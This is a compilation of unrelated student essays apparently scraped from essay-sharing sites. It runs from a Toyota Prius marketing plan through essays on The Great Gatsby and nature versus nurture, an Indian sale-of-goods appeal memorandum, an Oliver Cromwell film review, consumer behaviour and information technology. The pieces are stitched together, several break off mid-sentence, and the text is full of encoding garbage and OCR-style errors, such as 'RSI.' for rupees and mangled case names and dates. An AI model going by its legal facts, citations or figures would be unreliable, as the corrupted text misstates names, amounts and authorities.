â€Å"Pricing strategy is a cost to the customer incurred by acquiring and using the products† (Dann and Dann, 2004 p20). As Prius is new technology and new product in market it is some-what costly than other traditional cars. To make people buy Prius, company should implement sales promotion and there should be incentives to buy Prius. This helps product to be accepted in market at its early stage of life-cycle. There should be tie-ups with government to encourage the sale of hybrid and clean cars. Government should give incentives to buy low emission and hybrid cars. Currently Prius is available between ranges of $37,400 to $46,900. This price tag is quite high as compared to other cars of the same segment. 5. 4. Promotion strategies: â€Å"Promotion strategy is the use of audio and visual communications, elements of marketing for the purpose of getting a message to the market place† (Dann and Dann, 2004 p20). The promotion of the Prius can be done through mass communication media. There should be continuous advertisement in news papers and magazines about the cars and its features. Television commercials are expensive, but they are very effective strategy in promotion. Other media is radio and hoardings which can influence customers to buy car. The brand image of the product can be made by sponsoring some sports events or similar kind of promotion, which will boosts sales of the car. One of the better ways to promote Prius is associate it with some celebrity from Hollywood or some sports or cricket personality. This will create a different image of car for the people. 5. 5. Distribution strategies Distribution strategy plays an important role in marketing. Toyota is having wide network of 211 dealers in Australia. The retail private buyer i. e. consumer will buy the car from the franchised dealer network. There should be special dealers for the fleet buyers, who buy cars in fleet for corporate or rental use, so as to demonstrate the benefits and advantage of hybrid car. This should be directly connected to company so that the cars can be customised according to the need of the corporate users. There should be strong supplier network. Distribution strategy should be set for the supplier network also so that it receives components and parts on just-in-time basis. 6. Recommendations for change: As Prius is new concept with new technology, there should be rigorous testing on the car so that product is placed at strong position in market. Testing with the customer and consumer makes their ideas clear about the car and encourage them to go for hybrid car. There should be campaigns and promotion activities for corporate and fleet buying customers. Company should carry out seminars and demonstration for customer, where they are explained the benefits of hybrid cars and its benefits in long term use. There should be personal promotion strategy used by the dealer. The existing customers of Toyota and the owners of expensive car should be contacted by mail and telephone to create awareness for the vehicle. Company should create awareness about environmental concern and rising fuel price. Government should participate in promotion activity to use hybrid cars by giving incentives or tax benefits for the hybrid car customers. There should be research and development to reduce the cost of the car. There should be specialised dealer network for specialised hybrid car like Prius. Television, print media, radios; hoardings are one of the best means for the promotion activity. 7. Implementation plan: The above recommended plan can be implemented by using various promotion activities. The dealer should make the car run on streets of city with promotional advertisement on the car. This creates direct impact on the people. The car should be promoted by television programs which deal with cars like the Top Gear on BBC, which can create a positive image of the car. Promotional activity can be carried out by the use of print media in business magazine like The Time, Fortune, etc. also in daily news papers and periodicals. Outdoor billboards should be placed in busy areas like station and in urban areas. Internet can be used to directly reach to people. There should be online brochures and facility to have detailed specification of car. Customers should be able to book car online and also test drive. Time line must be set and there should be target number of vehicles that must be sold within the time frame. There should be attractive price and attractive looks and features that will force people to buy the car. 8. References: CHAMBERS K [2008] â€Å"Toyota† Greenwood Press, Westport, Connecticut, London. DANN S and DANN S [2004] â€Å"Introduction to Marketing† John Wiley and Sons Australia, Ltd. KOTLER P and ARMSTRONG G [2007] â€Å"Marketing – an introduction† 3rd ed. Prentice Hall Englewood Cliffs, New Jersey. KOTLER P, BROWN L, ADAM S, BURTON S and ARMSTRONG G [2007] â€Å"Marketing† 7th ed. Pearson Prentice Hall, Australia. Website: [http://www. toyota.com. au/about/vision] accessed 2/03/2009, 0900hrs. [http://andidas. deviantart. net/projects/academic/MaketingCommunications_ToyotaPriusMarketingPlan. pdf] accessed 2/02/2009, 1000hrs. [http://www. toyota. co. jp/en/tech/environment/hsd/pdf/a_guide_to_hsd. pdf] accessed 1/02/2009, 1100hrs. [http://www. toyota. com. au/about/key-facts] accessed 1/02/2009, 1100hrs. [http://www. hybridcars. com/hybrid-drivers/profile-of-hybrid-drivers. html] accessed 2/02/2009, 1600hrs. A. Appendices: Figure 1. Major Force in organisation’s macro environment.

Human Heart :: Free Essay Writer

Human Heart Discuss the ways in which a novelist explores the condition of the human heart in a novel you have studied. In the novel â€Å"The great Gatsby†, the novelist F. Scott Fitzgerald explores the conditions of the human heart through relationships that occur in this story. The relationships between Daisy and Tom Buchanan, Myrtle and Tom, Myrtle and George Wilson and Nick and Jordan, all are flawed by the selfishness of individuals and lack of actual love. Fitzgerald compares this to the time era the novel is set in, the 1920’s. This was a time of â€Å"false† security in that the economy was going to stay high forever(the crash soon followed) and false hope in the American dream. The relationships like this false sense of security looked good, but were built on nothing and so â€Å"crashed†. The contrast to this was the relationship between Daisy and Gatsby, although not successful, it was built on something more than the selfish and shallow needs of individuals. The first relationship that is explored in this novel is Daisy and Tom Buchanan. Their relationship is one that looks ideal. Tom is the typical hero, one of the most powerful ends at New Haven, hulking muscle mass (with a personality to match) and very wealthy. Daisy is the very beautiful, soft spoken and witty girl in which everyone loves. Together they perfect examples of the American dream. But as we see at Nick’s first visit to the Buchanan’s, there is a sense of real love lacking from their relationship, shown by their interactions. â€Å"It’s romantic, isn’t it, Tom?† The relationship is based on money and the social scene of the wealthy rather than actual love for each other. But because they are similar characters in the way that their values are built on money and wealth, they do stay together and why Daisy doesn’t marry Gatsby. â€Å"†¦retreated back into their money or vast carelessness, or whatever it was that kept them together,†¦Ã¢â‚¬  Tom feels the lack of love from his relationship with Daisy, but is too stupid to actually realise it, and because that is the relationship he â€Å"should† (according to the American dream) be in, will never realise it. We see this in his restless behaviour. â€Å"†¦Tom would drift on forever, a little wistfully, for the dramatic turbulence of some irrecoverable football game.† This is what makes Tom have mistresses such as Myrtle Wilson. This relationship replaces what lacks from his relationship with Daisy.

Nature vs. Nurture Essay

It is a matter of concern whether human behaviors and characteristics are determined by nature or nurture. If a person’s behavior is inherited directly from the genes of his/her parents or other biological factors, then it is the nature that determines his character. But if the environment that a person grew up in, affects his behavior, then it is the nurture that determines his/her character. It became a great matter of controversy among scientists, psychologists and sociologists. Previously, many people believed that human behavior was instinctive. It can neither be taught nor learned. But later some psychologists came to the conclusion that human behavior is learned throughout the lifetime which is not instinctive. I believe that it is the combination of both nature and nurture that determine one’s characteristics. Nature only or nurture only cannot be the determining factors for one’s behavior and characteristic. A person’s behavior is determined by th e equal blend of nature and nurture. Brent Staples in his essay â€Å"Black Men and Pubic Space† proves that one’s character cannot always be determined by their race which is a biological factor or one’s upbringing and society. But both the nature and the nurture affect the way one behaves, â€Å"I grew up one of the good boys, had perhaps a half dozen fistfights. In retrospect, my shyness of combat has clear sources† (Staples 315). Although the society he lived in was not good, he became a good person. It might be because of his behavior inherited from his parents and the good manner he was taught by his parents. So both nature and nurture by his parents work here and the environment of bad people didn’t affect his behavior. However, he once says that â€Å"Women are particularly vulnerable to street violence, and young black males are drastically overrepresented among the perpetrators of that violence† (Staples315). This makes the reader little confuse whether he himself is b eing racist, but he is actually trying to explain that particularly African American males commit crimes more than others because of the environment they grew up in and the choice they made. This may not be because of particularly being a black man, but because of the culture he has adopted since his childhood. Here he somehow takes the side of nurture. Many black people are assumed to be criminals. People judge them just by their appearance and the impression black people have made in today’s world. But this does not always mean that every black people are criminals and it’s  their biological factor that makes them do crimes. We can take the example of Brent Staple. Even though he was an educated and good person, many people and especially white women fear of him. But he was neither an uneducated person nor a criminal. He was brought up in a good family and properly nurtured by his parents. Therefore, nurturing became the factor for his behavior. Similarly, there are examples given by another author Amy Cunningham in her essay, â€Å"Why Women Smile†. Although she focuses primarily on a smile, she tends to explain the actual cause of one’s behavior. She explains that a smile or particularly a women’s smile comes from both natural happiness as well as the hope of people living around them,  "The behavior seems to be an equal blend of nature and nurture† (Cunningham 190). She further explains that both a normal baby and a blind baby smiles, although it may take a little longer for the blind one. It means that the smiles are natural and should not be taught in all cases. However, there are situations where people and especially women are social pressurized to smile and show a good behavior even if they don’t want to, â€Å"Evidently, a woman’s happy, willing deference is something the world wants visibly demonstrated† (Cunningham 191). It is both natural as well as nurtured along with the situations. For example: It is more likely for a child to be a doctor in the future if his dad is a doctor too. Nature plays an important role here because the intelligence of the child is inherited from his father. But if the child is not given proper care of his education or if the parents encourage him to be something rather than doctor, he may choose other professions too. If the child is given proper care and if he is psychologically prepared that he should be a doctor in the future, nature and nurture plays equal role. There are many debates still going on whether human behavior is affected by nature or nurture. Many psychologists and scientists are still researching on whether it is one’s genes or the environment that affects one’s behavior. Yes, one’s genes affect their characteristics but the environment they are cultured in also affects the way they take actions. Since childhood, people are taught moral education at school and home. They learn how to talk, behave, act and respond. These all are nurture. If they are given good lessons, they will be able to be good in the future. But if one does not get proper guidance, he will turn out to be a morally bad person. These are the examples of human behavior affected by  nurture. When we think about nature, different personality of people develops according to the genetics tendencies. For example it is likely for a person to have the habit of being aggressive if his father or his mother or any of his biological family has the same habit. Also there are many styles of talking, eating or walking that are inherited by oneâ €™s parents or biological family. Paul Theroux somehow agrees the equality of nature and nurture. In his essay â€Å"Being a Man†, he explains how nature and nurture has affected a man to be like a man. According to him a girl since her childhood is encouraged to behave in a cute way but a boy is instructed to behave roughly or so called manly, â€Å"It begins with mother encouraging little girls to say (to other adults? â€Å"Do you like my new dress?† In a sense, little girls are traditionally urged to please adults with a kind of coquettishness, while boys are enjoined to behave like monkeys toward each other.† (Theroux177). This shows how a girl and a boy are nurtured differently which determines their characteristics. Healso takes the side of nature where some different behavior between men and women comes naturally, â€Å"Femininity- being lady-like-implies needing a man as witness and seducer: but masculinity celebrates the exclusive company of men† (Theroux177). We can know from th is that not only a nature of a girl or a boy separates each other from their behavior but also their parents or the environment or the nurturer encourage them to behave separately. Therefore, the behavior is determined by both nature and nurture. In conclusion, it can be stated that human behavior are both the result of nature and nurture. One can neither neglect the effect of biological factors one have on them nor disprove the behaviors that are affected by the environment one is living in. It is important for a person to have a good environment even if his biological parents are good in nature. Also, some characters are inherited from genes of one’s parents that might last forever although he is far from his parents. Therefore, both the nature as well as nurture has equal effect on determining human behavior. Work Cited Staples, Brent. Black Men and Public Space. The Norton Reader: An Anthology of Nonfiction. New York: W.W. Norton & Company, 2012. Print Cunningham, Amy. Why Women Smile. The Norton Reader: An Anthology of Nonfiction. New York: W.W. Norton & Company, 2012. Print Theroux, Paul. Being a Man. The Norton Reader: An Anthology of Nonfiction. New York: W.W. Norton & Company, 2012. Print

C.V. George and Company VS. Marshall Sons

The Appellant humbly submits this memorandum for one appeal filed before this Honorable Court.. It sets forth the facts and the laws on which the claims are based. Statement of Jurisdiction of the Respondent The Respondent humbly submits this memorandum in response to the appeal filed before this Honorable Court.. It sets forth the facts and the laws on which the claims are based. Statement of Facts On 6th May, 1971, C.V George and Company, a contractor in Cochin, requested a quotation for the supply of one hot mix plant from Marshall Sons, a dealer in Hot Mix plants and Mini Crushers. The requested quotation was sent by Marshall Sons on 1 lath May, 1971. After a few days, on 21st June 1971, C. V. George and Company requested for a revised quotation which was sent by Marshall Sons on 29th July, 1971. C. V George and Company finally placed the order for one hot mix plant on 31st July, 1971. In their second quotation, Marshall Sons said that they would supply the hot mix plant within 3 -4 months, subject to conditions beyond its control.To this quotation, the contractor sent a letter saying that according to their previous discussions, the hot mix plant should be ready by the last week of September. No reply affirming this condition was sent by the dealer. Nearly a month after the time within which C. V. George and company wanted to have the delivery of the plant, they received a letter from Marshall Sons stating that he plant would be ready for delivery in the middle of next month or even earlier and that they had requested their associate company to expedite delivery of the machine. On 22nd November, 1971 Marshall Sons informed C.V George and Company that due to the go slow policy adopted by the workers in the factory it would be impossible for its associate company to deliver the plan by the end of November and they would try to deliver it by 10th December, 1971. There was no further correspondence between the two parties and the plant was eventually supplied b y Marshall Sons on 30th January,1972. Marshall Sons (plaintiff filed a case against C. V George and Company (defendant) in the trial court due to discrepancies between them. The objective of filing the case was to claim the amount for the supply of the hot mix plant from C. V George and Company whereas C.V. George and Company made a claim for damages under four counts, namely: (1) RSI. 2,000 being the cost of 12 volt electrical starter equipment with battery complete;(2) RSI. 321. 97 being the expenditure incurred towards the cost of materials and labor charges for welding and rectification of defects before the commission of the plant: (3) RSI. 2,000 being the value of 0. 75 ton of steel and (4) RSI. 8,175 being the hire charges for hiring plant from the Cochin Corporation. The trial court held that: (1) there was no consensus among the parties regarding the mime within which the hot mix plant was to be supplied, (2) C. V.George would receive an amount of RSI. 500 for the 12 volt e lectrical supply starter equipment and the other three claims would be set off, (3) even if for any reason, it is held that the amounts claimed under the other three clauses, do not amount to a plea of set off or counterclaim, the evidence adduced, has not established the claim made by the defendant. A decree was given in the favor of the plaintiff for a sum of 12,096 and at an interest rate of 6% annum from 27th' January, 1971, till the date of plaint and proportionate costs. C. V George and Company appealed against this decree and judgment of the trial court in the high court.Questions Presented by the Appellant The following questions are presented before the court in the instant matter: 1) Whether time is to be considered an essence of the contract 2) Whether the contract was carried out by the respondent within a reasonable span of time 3) Whether the appellant is entitled to claim full amount for damages 4) Whether there was a breach of warranty Questions Presented by the Resp ondent Whether time is to be considered an essence of the contract 2) Whether the appellant is entitled to claim full amount for damages 3) Whether there was a breach Summary of Pleadings of the Appellant 1 .Whether time is to be considered an essence of the contract: Ordinarily, time is to be treated as an essence of commercial contracts, as stated by the Counsel for the appellant. Furthermore, when the appellant requested for the machinery to be supplied latest by the middle of September, 1971 , the subsequent replies of the respondent showed clear indication of acknowledgment of the time span, as well as the stipulated deadline. Therefore, the respondent has committed reach of condition of warranty under Section 59 of the Sale of Goods Act, by not supplying the hot mix plant by the middle of September, 1971. . Whether the contract was carried out by the respondent within a reasonable span of time: The appellant's case states that the hot mix plant should have been supplied by the middle of September, 1971 and the respondent failed to fulfill his part of the contract as the plant was supplied on 30th January, 1972. The appellant further states that this delay was without any reasonable or probable cause and hence the contract wasn't fulfilled within reasonable time. 3.Whether the appellant is entitled to claim full amount for damages: The appellant's case is that as the hot mix plant was not delivered within the time stipulated, it is entitled to claim damages amounting to 12,496. Due to the delay in the supply of the plant, the appellant had to incur losses. 4. Whether there was a breach of warranty: The appellant claims that there was a breach of warranty and tries to recover the amount he can. He is of the view that part (3) in section 12 of the Sale of Goods Act entitles him to raise a claim.Part (3) in section 12: ‘A warranty is a stipulation collateral to the main purpose of the contract, the breach f which gives rise to a claim for damages but n ot to a right to reject the goods and treat the contract as repudiated. ‘ Summary of Pleadings of the Respondent 1 . Whether time is to be considered an essence of the contract: The respondent had stated that the hot mix plant would be supplied within 3-4 months, subject to conditions beyond its control. Though the appellant wanted delivery of the hot mix plant in the middle of September, 1971, the respondent did not send any reply agreeing to the appellant's stipulation.Marshall Sons sent out another correspondence on 22nd November, stating that in view of the go slow policy adopted by the workers in the factory for the past one month, it would not be possible for its associate company to deliver the plant by the end of November. No objection or protest was raised by the appellant in response to this. There was no consensus regarding the period within which the plant had to be supplied and thus, time was not to be considered as essence. 2.Whether the appellant is entitled to claim full amount for damages: The appellant aimed to collect its desired sum as compensation, of RSI. 12,496, by using Section 59 of the Sale of Goods Act. An important portion of this act states that if the appellant ants to claim compensation for any loss occasioned by the non-performance of the contract within the stipulated time and if the appellant accepts performance of the contract, he must issue notice to the respondent of his intention to claim damages.In this situation, the appellant issued the notice to the respondent on 8th December, 1971, which was long prior to the date when the goods were supplied to it and the performance of the contract was accepted by the appellant. Therefore, since the claim was not issued at the time when the appellant accepted the performance of he contract, the appellant is unable to resort to Section 55 of the Contract Act to sustain a claim for damages against the respondent. 3.Whether there was a breach of warranty: Granting for argument sa ke that time was essence of the contract and there was breach of contract by the respondent, even then Section 59 of the Sales of Goods Act cannot be attracted as the definition of â€Å"Condition and Warranty' in Section 12 of the Sales of Goods Act is limited to stipulations in a contract of sale with reference to goods and stipulations with regard to time and other matters is outside the definition f Section 12 of Sales of Goods Act.Pleadings and Authorities 1 . Time is to be considered an essence of the contract: The Counsel for the appellant made its case by stating that time was of essence to this particular situation, and is treated as such for commercial contracts, in reference to two such decisions of the Supreme Court in Inhabit Parkas v. Durra Data and C. C. Exporters v. B. &C. Mills.The appellant wrote to the respondent, requesting for the machinery to be supplied latest by the middle of September, 1971 , and following were the subsequent replies of the respondent showi ng clearly the acknowledgment f the time span, as well as the stipulated deadline. Therefore, the respondent has committed breach of condition of warranty under Section 59 of the Sale of Goods Act, by not supplying the hot mix plant by the middle of September, 1971.The remedy for breach of warranty under the Sale of Goods Act is as follows: (I) Where there is a breach of warranty by the seller, or where the buyer elects or is compelled to treat any breach of a condition on the part of the seller as a breach of warranty, the buyer is not by reason only of such breach of warranty entitled to reject he goods; but he may- (a) set up against the seller the breach of warranty in diminution or extinction of the price, or (b) sue the seller for damages for breach of warranty. It) The fact that a buyer has set up a breach of warranty in diminution or extinction of the price does not prevent him from suing for the same breach of warranty if he has suffered further damage.As per the case made, under the Sale of Goods Act, â€Å"(I)Where there is a breach of warranty by the seller, or where the buyer elects or is compelled to treat any breach of a condition on the part of the seller as a breach of warranty, the buyer is not by season only of such breach of warranty entitled to reject the goods; but he may (a)set up against the seller the breach of warranty in diminution or extinction of the price†, the Counsel for the appellant further contended that the appellant is entitled to claim by way of damages a total sum of RSI. 2,496. Of time: As already stated, the respondent has indicated under Exhibit 8-9 that it will supply the plant in about 3 to 4 months time from the date of receipt of order subject to conditions beyond its control. The appellant placed the order or 31st July, 1971. Three month's time expired on 30th December, 1971.Even before the expiry of the period, the respondent wrote Exhibit A-6 the its associate company had advised that the plant will be re ady for delivery in the middle of November, and it has advised its associate company to pay special attention and expedite delivery of the plant. The respondent again wrote under Exhibit A-7 stating that in view of the go-slow policy adopted by the workers in the factory of its associate company, there was a delay in the manufacture of the plant and it would be supplied before 10th December, 1971.The plant was ultimately delivered to the appellant on 30th January, 1972. Having regard to the time stipulated by the respondent under Exhibit 8-9 and having regard to the difficulties faced by its associate company, the details of which are stated both in Exhibits A-6 and A-9, there is absolutely no difficulty in holding that the respondent has performed the contract within a reasonable time. On a careful perusal of the correspondence between the parties as referred to above, it is seen that no time was fixed for performance of the contract.There was stipulation by the respondent under Ex hibit 8-9 to deliver the plant in about three to four months' time room the date of receipt of order Subject to conditions beyond its control and a suggestion by the appellant under Exhibit A-2 that the point regarding delivery should be brought to the personal notice of Mr.. Cellular and arrangements may be made to supply the plant by the middle of September, 1971. Thus, it can be seen that there was no consensus ad idem regarding the period within which the plant has to be delivered to the appellant.Hence the term reasonable time would signify any which period of time by which the plant has been delivered provided there is no delay due to circumstances arising because of inefficiency of the respondent. . Whether the appellant is not entitled to claim full amount for damages The appellant wished to claim set off for the sum of RSI. 12,496, under the following counts: 3. 1 For the first count the appellant asked to claim RSI. 2,000 being the cost of 12 volt electrical starter equipm ent, complete with battery.The trial Court allowed a sum of RSI. 500 under this count, while referring to the Sale of Goods Act where if there is a breach of warranty by the seller, or where the buyer elects or is compelled to treat any breach of a condition on the part of the seller as a breach of warranty, he buyer is not by reason only of such breach of warranty entitled to reject the goods; but he may set up against the seller the breach of warranty in diminution or extinction of the price. 3. The other three claims made by the appellant were denied on the basis of the Contract Act, under Section 55, where if the appellant wants to claim compensation for any loss occasioned by the non-performance of the contract within the stipulated time and if the appellant accepts performance of the contract, he must issue notice to the respondent of his intention to claim damages. It is therefore clear that if the appellant wants to claim damages by resorting to Section 55 of the Contract Ac t he must issue a notice to the respondent of his intention to claim damages at the time when he accepts performance of the contract.In the instant case, the goods were delivered to the appellant only on 30th January, 1972. The appellant issued its writing to the respondent on 8th December, 1971, which was long prior to the date when the goods were supplied to it and the performance of the contract was accepted by the appellant. Since the issue was not made at the time when the appellant accepted the reference of the contract, the appellant cannot resort to Section 55 of the Contract Act to sustain a claim for damages against the respondent.The next question for consideration is whether under Section 59 of the Sale of Goods Act, it is open to the appellant to treat any breach of a condition on the part of the respondent as breach of warranty and set up against the respondent the breach of warranty in diminution of the price. We have already held that time is not the essence of contr act and there is no breach of condition on the part of the respondent.Even granting for argument's sake that time was essence of the contract ND there was a breach of condition by the respondent, even then Section 59 of the Sale of Goods Act, cannot be attracted, as the definition of â€Å"condition and warranty† in Section 12 of the Sale of Goods Act is limited to stipulations in a contract of sale with reference to goods and stipulations with regard to time and other matters are outside the definition contained in Section 12 of Sale of Goods Act. Section 59 of the Sale of Goods Act states that – 12.Condition and warranty. – (1) A stipulation in a contract of sale with reference to goods which are the subject thereof may be a condition or a warranty. 2) A condition is a stipulation essential to the main purpose of the contract, the breach of which gives rise to a right to treat the contract as repudiated. (3) A warranty is a stipulation collateral to the main p urpose of the contract, the breach of which gives rise to a claim for damages but not to a right to reject the goods and treat the contract as repudiated. 4) Whether a stipulation in a contract of sale is a condition or a warranty depends in each case on the construction of the contract. A stipulation may be a condition, though called a warranty in the contract. It can be noted that section 59 is not applicable as this contract is not stipulated by time or any other such conditions except that it should be completed in reasonable time. Hence it falls outside of the definition of the act and there is no breach of CASE ANALYSIS The C. V.George and Company vs. Marshall Sons case, is one of appellate Jurisdiction in the High Court as a result of a previous case filed by Marshall Sons against C. V. George and Company. The trial court came to the conclusion that C. V. George and Company was entitled to receive a claim of only RSI. 500 as opposed to their former claim for RSI. 12,496. It r uled in favor of Marshall Sons by announcing a decree for a sum of RSI. 12,096 at 6% interest per annum, from 27th January till the date of plaint and proportionate costs. Aggrieved by this Judgment of the trial court, C. V George and Company filed an appeal in the Madras High Court.The learned counsel for the appellant relied major on the fact that time is of the essence in commercial contracts and that by failing to meet the deadline, Marshall Sons have breached an important condition of the contract and under Section 59 of the Sale of Goods Act, it is open to the appellant to treat a breach of condition as breach of warranty and set p against the respondent the breach of warranty in diminution of the price. The appellant also stated that this entitled it to claim damages under four counts and those amounts should go in diminution of the price claimed by the respondent for the supply of the hot mix plant.After careful consideration, it was clear to the court that there was no actu al consensus between the parties regarding the time of the delivery. C. V. George and Company expected to receive the plant by mid September whereas Marshall Sons spoke about supplying the plant within 3-4 months after the interact was signed ( 31st July, 1971). Marshall Sons later said that due to the ‘go slow policy adopted by the workers, they wouldn't be able to supply it earlier than what they had committed. No objections were raised by C. V George and Company.The plant was finally delivered on 30th January, 1972. We see that, due to the fact that there was no proper agreement about the time between the two parties, Marshall Sons have a stronger case as the court ruled that time was not of the essence for this contract. Keeping in mind all the obstacles faced by Marshall Sons in the delivery of his plant and the stipulated time of 3-4 months the court ruled that the plant was delivered within a reasonable time frame. The case for Marshall Sons Just gets stronger as the co ntractor isn't entitled to make a claim for damages.If the appellant wants to claim damages by resorting to Section 55 of the Contract Act he must issue a notice to the respondent of his intention to claim damages at the time when he accepts performance of the contract which was not done in this case. Further, under section 59 of the Sale of Goods Act, the appellant can treat any breach of a condition n the part of the respondent as a breach of warranty in diminution of the price but this cannot be used in the favor of the appellant in this case.It has already been established that time was not an essence of contract in this case. Section 12 of the Sale of Goods Act states that the condition of warranty is limited to stipulations in a contract of sale with reference to goods and stipulations with regard to time and other matters are outside the definition contained in that section. As a result, the High Court of Madras confirmed the trial and decree of the trial court. C. V. George ND Company had to make the payment they owed and would receive only RSI. 00 for one of their claims. Marshall Sons had a stronger case to present in both, the Trial Court as well as the High Court.

oliver cromwell essays

oliver cromwell essays As someone who stated watching the movie not knowing anything about the civil war the movie Oliver Cromwell came across as a good illustrator of the actual civil war. The movie made king Charles I come across as a king that was always committing unlawful acts, while looking out for himself and his people. Oliver Cromwell was portrayed as a strong leader not just for the common people but for England. After reading up on the facts of the civil war I realized the movie wasn't as effective as I thought. The cause of the war and events during the war along side with the events in Parliament were misleading or left out. What I did like about the movie is the fact that the essence of Cromwell's personality and strength were illustrated. The Cromwell movie made it seem like the cause of the war was mainly that the king was unjust to his subjects. Cromwell who represented the people felt that England needed democracy and the king's powers needed to be reduced. The king had responded by saying that you couldn't expect "extraordinary possibilities in unextraordinary people." The movie made it seem like the unfair treatment of the people was the main cause of the civil war, while my research tells me different. I learned that within Parliament itself there was a lot of disagreements and members of parliament and common people were divided due to different beliefs. 302 members of the House of Commons and 40 lords supported Parliament, while 236 commoners and 80 lords followed the king. Even families were divided. Fathers were fighting against sons and so on. The movie made it seem like the common people lead by Cromwell where all together fighting for justice against the king and his men. During the events leading up to the war the radicals had divided Parliament and had given the kinging a party. During that movie that whole event was left out. The sheets say that when Charles planned to arrest the five memb ...

Consumer behaviour Essay Example | Topics and Well Written Essays - 1250 words - 1

Consumer behaviour - Essay Example Moreover, these traits mostly represent the processes used when consumers are considering physical products for purchase. Most tourists make travel decisions based on the influence of their friends or family members, or due to the emotional appeal of tourist destinations. It is important to understand that tourists usually undertake varied decision making processes when they choose to go on holiday. A good example of this is the scenario where people who were not meaning to go on a visit any where suddenly make a last minute decision to accompany friends or family members to exotic lands. According to (Solomon, Bamossy, Askegarrd, and Hogg 2009) in modern times, there are tourist behaviours such ‘‘last-minute’’ decisions to travel show that traditional decision-making methods are becoming irrelevant. There are even more factors that travellers decide to use in determining the choices of tourist destinations that they decide on. For instance, it would appear that for some travellers, the choice of where or when to travel is an ongoing process which may be changed even after a decision has been made on the preferred destination. In addition, more and more travellers are allowing their decisions to be influenced by nostalgia, travel party, and date. Travellers today are also more ready to expose themselves to surprises as they feel that this is the only way in which they will authentically be able to experience any destination. According to Alain Decrop, there are travelers who choose travel destinations even without conducting any research on the culture of the places they are going to visit in order to experience the chosen destinations in a more unbiased manner (Decrop 2005). In such cases, what is unexpected adds to the excitement of the first time experiences of the tourists. Planning for a holiday will remove the excitement of first landing in a foreign land and thus destroy the whole purpose of travelling in the first place. 2. Com pare the information search process, as it is described in the case, with the search process that consumers might follow for one other product category (e.g. a household appliance or a perfume). When making purchase decisions, consumers may take into consideration a lot of information; particularly when deciding on a product brand such as a car or a sofa set. This differs from the decision making processes used by tourists when picking vacation destinations. Many consumers do not pick household appliances on a whim; or decide to order for these products from a store while leaving the decision on colour or texture to the seller so as to experience the element of surprise. For the most part, household goods and other such products are chosen after consumers embark on sequential decision processes in which various options are considered in a systematic method until the customer arrives at his or her last remaining choice. Following this evaluation process, the customers will choose the product they wish to purchase. Moreover, there are other ways in which purchasing decisions made during the procurement of products are somewhat similar to those used when travellers are picking on vacation spots. This is because a consumer can change his or her mind and pick on a competitor’s merchandise instead; or cancel the acquisition altogether. This could be spurred by impolite staff in the place of transaction, a long queue, or even a complicated

Information Technology determines contemporary social change. Discuss Essay

Information Technology determines contemporary social change. Discuss giving examples - Essay Example In the current century, we started tapping the celluloid, uranium, electromagnetism, and now the photon. To neutralize harmful germs, we even employ the services of the bacterium. Another great invention is mathematics, derived naturally from the Homo Sapiens' ability to conceive quantity. Spectacular tool making is not possible without the continuous development of mathematics. Our species has gone this far, equipped with only a few pounds of brain matter, a small and frail anatomy, and natural senses limited to a mere five (sight, smell, taste, touch, and hearing). Given these leaps, it has been necessary to come up with a set of social codes to regulate behavior and ensure continuous order. The law, it is said, operates to regulate behavior and maintain the cohesiveness of a given society. In order to maintain its role as bulwark, it capitalizes on and gains credence from the idea that there is but one set of "correct" rules and that legal decisions are but logical outcomes of tested principles that are empirically-replicable. Perhaps there are very few modern developments that have posed a challenge to this notion of the law and the legal system than the advent of the Internet. Precisely because of the uniqueness of the medium and the vastness of its breadth, there has been great difficulty imposing regulatory mechanisms on its use - thereby leading, in many cases, to its abuse. There can be no denying that information technology plays an important role in the molding of social values and in the legitimization of personal perceptions. In the United States, 98% have at least one television, 70% have more than one television, 70% have cable, and 51% of households with children have a computer. (Paik, 1994) For example, on the issues surrounding Internet obscenity, Petrie (1997) found that "because the Internet is a unique communications technology, it does not fit squarely into the conceptual scheme of traditional obscenity law." (p. 638). In a nutshell, the Internet, also called the information superhighway, is a communications network wherein computers from all over the world may instantaneously communicate and exchange images with each other through the benefit of a modem and an Internet Service Provider. There is no one central source that can filter out images or regulate the flow of information. The internet cannot be shut down at will. On the issue of hate speech, The danger posed by the internet is that more often than not, it is the medium of choice of racial supremacist groups who thrive on the relative safety and untraceability that the Internet provides. Hier (2000) presents three reasons: First, there exists a considerable gap between the public images that racial supremacist groups attempt to present in the Internet and a far less benign image that emerges upon closer analysis; second, exemplified by the Freedom-site, the internet has facilitated a greater degree of solidarity between racial supremacist organizations; and third, given the impersonal nature of the internet, there exists a certain degree of danger that otherwise ordinary citizens will become more susceptible to the ideology of racial supremacism. (p. 471) The problem is not merely that the technology allows for unprecedented reach and scope. More significantly, the problem is that the law and all its traditional structures are ill-equipped to handle this revolutionary form of